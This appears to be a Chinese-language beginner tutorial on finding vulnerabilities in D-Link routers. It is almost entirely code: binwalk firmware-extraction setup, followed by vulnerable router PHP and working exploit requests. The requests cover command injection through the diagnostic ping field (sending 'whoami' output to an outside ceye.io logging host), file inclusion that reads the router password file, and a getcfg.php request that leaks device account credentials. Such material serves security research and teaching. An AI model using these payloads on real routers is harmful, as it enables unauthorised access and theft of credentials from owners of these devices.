D-Link系列路由器漏洞挖掘入门

	$ sudo apt-get update  
	$ sudo apt-get install build-essential autoconf git  
	  
	# https://github.com/devttys0/binwalk/blob/master/INSTALL.md  
	$ git clone https://github.com/devttys0/binwalk.git  
	$ cd binwalk  
	  
	# python2.7安装  
	$ sudo python setup.py install  
	  
	# python2.7手动安装依赖库  
	$ sudo apt-get install python-lzma  
	  
	$ sudo apt-get install python-crypto  
	  
	$ sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip  
	$ sudo pip install pyqtgraph  
	  
	$ sudo apt-get install python-pip  
	$ sudo pip install capstone  
	  
	# Install standard extraction utilities（必选）  
	$ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools  
	  
	# Install sasquatch to extract non-standard SquashFS images（必选）  
	$ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev  
	$ git clone https://github.com/devttys0/sasquatch  
	$ (cd sasquatch && ./build.sh)  
	  
	# Install jefferson to extract JFFS2 file systems（可选）  
	$ sudo pip install cstruct  
	$ git clone https://github.com/sviehb/jefferson  
	$ (cd jefferson && sudo python setup.py install)  
	  
	# Install ubi_reader to extract UBIFS file systems（可选）  
	$ sudo apt-get install liblzo2-dev python-lzo  
	$ git clone https://github.com/jrspruitt/ubi_reader  
	$ (cd ubi_reader && sudo python setup.py install)  
	  
	# Install yaffshiv to extract YAFFS file systems（可选）  
	$ git clone https://github.com/devttys0/yaffshiv  
	$ (cd yaffshiv && sudo python setup.py install)  
	  
	# Install unstuff (closed source) to extract StuffIt archive files（可选）  
	$ wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv  
	$ sudo cp bin/unstuff /usr/local/bin/

	HTTP/1.1 200 OK
	Content-Type: text/xml
	
	<?
	if ($_POST["act"] == "ping")
	{
		set("/runtime/diagnostic/ping", $_POST["dst"]);
		$result = "OK";
	}
	else if ($_POST["act"] == "pingreport")
	{
		$result = get("x", "/runtime/diagnostic/ping");
	}
	echo '<?xml version="1.0"?>\n';
	?><diagnostic>
		<report><?=$result?></report>
	</diagnostic>

	url = 'localhost/diagnostic.php'
    data = "act=ping&dst=%26 ping `whoami`.ceye.io%26"

	<?
	if($REQUIRE_FILE == "var/etc/httpasswd" || $REQUIRE_FILE == "var/etc/hnapasswd")
	{
		echo "<title>404 Not Found</title>\n";
		echo "<h1>404 Not Found</h1>\n";
	}
	else
	{
		if($REQUIRE_FILE!="")
		{
			require($LOCALE_PATH."/".$REQUIRE_FILE);
		}
		else
		{
			echo $m_context;
			echo $m_context2;//jana added
			if($m_context_next!="")
			{
				echo $m_context_next;
			}
			echo "<br><br><br>\n";
			if($USE_BUTTON=="1")
			{echo "<input type=button name='bt' value='".$m_button_dsc."' onclick='click_bt();'>\n"; }
		}
	}
	?>

    localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd

	<?
	$MY_NAME ="login_fail";
	$MY_MSG_FILE=$MY_NAME.".php";
	$NO_NEED_AUTH="1";
	$NO_SESSION_TIMEOUT="1";
	require("/www/model/__html_head.php");
	?>

	<?
	/* vi: set sw=4 ts=4: */
	if ($NO_NEED_AUTH!="1")
	{
	 /* for POP up login. */
	// require("/www/auth/__authenticate_p.php");
	// if ($AUTH_RESULT=="401") {exit;}
	 /* for WEB based login */
	 require("/www/auth/__authenticate_s.php");
	 if($AUTH_RESULT=="401") {require("/www/login.php"); exit;}
	 if($AUTH_RESULT=="full") {require("/www/session_full.php"); exit;}
	 if($AUTH_RESULT=="timeout") {require("/www/session_timeout.php"); exit;}
	 $AUTH_GROUP=fread("/var/proc/web/session:".$sid."/user/group");
	}
	require("/www/model/__lang_msg.php");
	?>

	$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
	TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
	$SERVICE_INDEX = 0;
	while ($SERVICE_INDEX < $SERVICE_COUNT)
	{
		$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
		TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
		if ($GETCFG_SVC!="")
		{
			$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
			/* GETCFG_SVC will be passed to the child process. */
			if (isfile($file)=="1") dophp("load", $file);
		}
		$SERVICE_INDEX++;
	}

	http://localhost/getcfg.php
	post:SERVICES=DEVICE.ACCOUNT